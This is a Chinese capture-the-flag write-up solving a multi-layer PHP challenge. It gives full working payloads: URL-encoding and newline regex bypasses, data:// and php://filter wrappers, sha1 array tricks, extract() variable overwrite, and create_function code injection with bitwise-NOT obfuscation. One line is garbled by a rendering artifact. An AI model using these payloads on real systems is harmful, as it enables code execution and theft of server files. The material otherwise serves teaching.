赞
踩
首先f12,base32解码一下,发现目录,这些都很简单关键是下面的,我在这里不是给大家讲如何拿到flag,我的重点是思路,和加深对这道题目的理解,所以可能有些啰嗦。
<?php highlight_file(__FILE__); error_reporting(0); $file = "1nD3x.php"; $shana = $_GET['shana']; $passwd = $_GET['passwd']; $arg = ''; $code = ''; echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>"; if($_SERVER) { if ( preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']) ) die('You seem to want to do something bad?'); } if (!preg_match('/http|https/i', $_GET['file'])) { if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>"; } } else die('fxck you! What do you want to do ?!'); if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); } } if (file_get_contents($file) !== 'debu_debu_aqua') die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>"); if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){ extract($_GET["flag"]); echo "Very good! you know my password. But what is flag?<br>"; } else{ die("fxck you! you don't know my password! And you don't know sha1! why you come here!"); } if(preg_match('/^[a-z0-9]*$/isD', $code) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); } else { include "flag.php"; $code('', $arg); } ?> This is a very simple challenge and if you solve it I will give you a flag. Good Luck! Aqua is the cutest five-year-old child in the world! Isn't it ?
咱们接下来一点点分析。
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
我们现在本地尝试一下
<?php
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$s = $_POST['s'];
echo "this is ".$shana."<br>";
echo "this is ".$passwd."<br>";
echo "this is ".$s."<br>";
$queryString = $_SERVER['QUERY_STRING'];
echo $queryString."<br>";
?>
get处?shana=1111&passwd=2222
post处s=ssss
以下是输出的内容
我们先用一个python脚本,对一个字符串进行url编码
string = "Hello World"
encoded_string = ''.join('%{:02X}'.format(ord(char)) for char in string)
print('Encoded string:', encoded_string)
get处修改一下,用一下上面那个进行url编码?shana=1111&passwd=%48%65%6C%6C%6F%20%57%6F%72%6C%64
神奇的事情就发生了。
发现get传参的时候会对get传的参数进行url解码,但是$_SERVER['QUERY_STRING']
却不会。
所以说对于第一层过滤的所有字母和字符,都可以用url编码进行绕过。
传参的时候结尾加上%0a也就是会车行即可绕过
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
本地测试
<?php
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
echo "Neeeeee! Good Job!<br>";
}
?>
get处?debu=aqua_is_cute%0a
即可绕过
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
$_REQUEST在同时接收GET和POST参数时,POST优先级更高
本地测试
<?php
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$s = $_POST['s'];
echo "this is ".$shana."<br>";
echo "this is ".$passwd."<br>";
echo "this is ".$s."<br>";
foreach ($_REQUEST as $key => $value) {
echo "Key: " . $key . ", Value: " . $value . "<br>";
}
?>
post处s=ssss&shana=00000&passwd=00000
file_get_contents函数,用data伪协议绕过data://text/plain,debu_debu_aqua
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
sha1()函数无法处理数组,
s
h
a
n
a
和
shana和
shana和passwd都是数组时都是false。$shana[]=1&$passwd[]=2
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
其中extract() 函数是 PHP 中的一个内置函数,用于将数组中的键值对转换为变量和对应的值。
这样我们就可以对开头处的两个变量进行操控。
$arg = '';
$code = '';
本地测试
<?php
$arg = '';
$code = '';
extract($_GET["flag"]);
echo $arg."<br>";
echo $code."<br>";
?>
get传参时get里面参数的[]
和连接变量的&
还有给变量赋值的=
编码后get传参时不会被解码
所以我们改善一下上面写过的那个python url编码的代码
string = "hello [world] & more"
encoded_string = ''.join('%{:02X}'.format(ord(char)) if ord(char) < 128 and char not in ['&', '[', ']','='] else char for char in string)
print('Encoded string:', encoded_string)
可能对上面这个if语句比较陌生,简单解释一下result = value if condition else default_value
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
}
$code
和$arg
可控,利用$code('',$arg)
进行create_function注入
$arg
=}代码;//
,则}闭合了a(),同时//
注释了后面的内容
构造flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//
对于get_defined_vars()的功能,大家可以去简单 了解一下,这里不过多解释。
file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute
&shana[]=1&passwd[]=2&flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//
上面时get处需要传的参数,其中file变量是为了绕过第四层,debu是为了绕过第二层,后面不要忘记加回车。第二行前两个变量是为了绕过第5层,后面的那两个是为了绕过第6层,最后将上述全部进行url编码是为了绕过第一层。然后用我改善后的python脚本进行url编码,放在get处。
与此同时post处file=1&debu=1
是为了绕过第3层.
string = """file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute
&shana[]=1&passwd[]=2&flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//"""
encoded_string = ''.join('%{:02X}'.format(ord(char)) if ord(char) < 128 and char not in ['&', '[', ']','='] else char for char in string)
print('Encoded string:', encoded_string)
?%66%69%6C%65=%64%61%74%61%3A%2F%2F%74%65%78%74%2F%70%6C%61%69%6E%2C%64%65%62%75%5F%64%65%62%75%5F%61%71%75%61&%64%65%62%75=%61%71%75%61%5F%69%73%5F%63%75%74%65%0A&%73%68%61%6E%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6C%61%67[%63%6F%64%65]=%63%72%65%61%74%65%5F%66%75%6E%63%74%69%6F%6E&%66%6C%61%67[%61%72%67]=%7D%76%61%72%5F%64%75%6D%70%28%67%65%74%5F%64%65%66%69%6E%65%64%5F%76%61%72%73%28%29%29%3B%2F%2F
发现在最后["ffffffff11111114ggggg"]=> string(89) "Baka, do you think it's so easy to get my flag? I hid the real flag in rea1fl4g.php 23333" }
由于第6层$arg处过滤了read所以这里取反绕过一下。
echo urlencode(~'php://filter/read=convert.base64-encode/resource=rea1fl4g.php');
用require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f))
替换刚才的var_dump(get_defined_vars())
被编码的部分即可。
最终的get部分?%66%69%6C%65=%64%61%74%61%3A%2F%2F%74%65%78%74%2F%70%6C%61%69%6E%2C%64%65%62%75%5F%64%65%62%75%5F%61%71%75%61&%64%65%62%75=%61%71%75%61%5F%69%73%5F%63%75%74%65%0A&%73%68%61%6E%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6C%61%67[%63%6F%64%65]=%63%72%65%61%74%65%5F%66%75%6E%63%74%69%6F%6E&%66%6C%61%67[%61%72%67]=%7Drequire(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f)) %3B%2F%2F
最后base64解码一下就可以得到flag了。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。